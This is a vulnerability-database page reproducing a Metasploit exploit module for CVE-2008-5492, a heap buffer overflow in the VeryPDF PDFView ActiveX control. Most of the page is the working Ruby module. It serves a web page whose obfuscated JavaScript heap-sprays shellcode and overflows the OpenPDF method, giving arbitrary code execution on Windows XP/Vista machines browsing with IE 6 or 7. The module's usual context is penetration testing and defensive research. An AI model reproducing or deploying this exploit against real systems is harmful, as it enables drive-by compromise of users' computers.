VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow

🗓️ 26 Nov 2009 00:00:00Reported by MCType

packetstorm🔗 packetstormsecurity.com👁 22 Views

VeryPDF PDFView ActiveX control heap buffer-overflow allows arbitrary code executio

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2008-5492	15 Nov 200800:00	–	circl
CVE	CVE-2008-5492	12 Dec 200816:00	–	cve
Cvelist	CVE-2008-5492	12 Dec 200816:00	–	cvelist
Exploit DB	VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (Metasploit)	20 Sep 201000:00	–	exploitdb
Metasploit	VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow	4 Jan 200921:51	–	metasploit
NVD	CVE-2008-5492	12 Dec 200816:30	–	nvd
OpenVAS	VeryDOC PDF Viewer ActiveX Control Buffer Overflow Vulnerability	16 Dec 200800:00	–	openvas
OpenVAS	Detection of Dangerous ActiveX Control	4 Feb 200900:00	–	openvas
OpenVAS	VeryDOC PDF Viewer ActiveX Control Buffer Overflow Vulnerability	16 Dec 200800:00	–	openvas
OpenVAS	Detection of Dangerous ActiveX Control	4 Feb 200900:00	–	openvas

`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow',  
'Description' => %q{  
The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow  
because it fails to properly bounds-check user-supplied data before copying  
it into an insufficiently sized memory buffer. An attacker can exploit this issue  
to execute arbitrary code within the context of the affected application.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC', 'dean <dean [at] zerodaysolutions [dot] com>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-5492'],  
[ 'OSVDB', '49871'],  
[ 'BID','32313' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0c0c0c0c } ]   
],  
'DisclosureDate' => 'June 16 2008',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.   
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Set the return.  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id='#{vname}' classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252'></object>  
<script language="JavaScript">  
var #{rand1} = unescape('#{shellcode}');  
var #{rand2} = unescape('#{ret}');  
var #{rand3} = 20;  
var #{rand4} = #{rand3} + #{rand1}.length;  
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};  
var #{rand5} = #{rand2}.substring(0,#{rand4});  
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});  
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};  
var #{rand7} = new Array();  
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }  
var #{rand8} = "";  
for (#{var_i} = 0; #{var_i} < 7024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }  
#{vname}.OpenPDF(#{rand8}, 1, 1);  
</script>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

26 Nov 2009 00:00Current

0.9Low risk

Vulners AI Score0.9

EPSS0.70177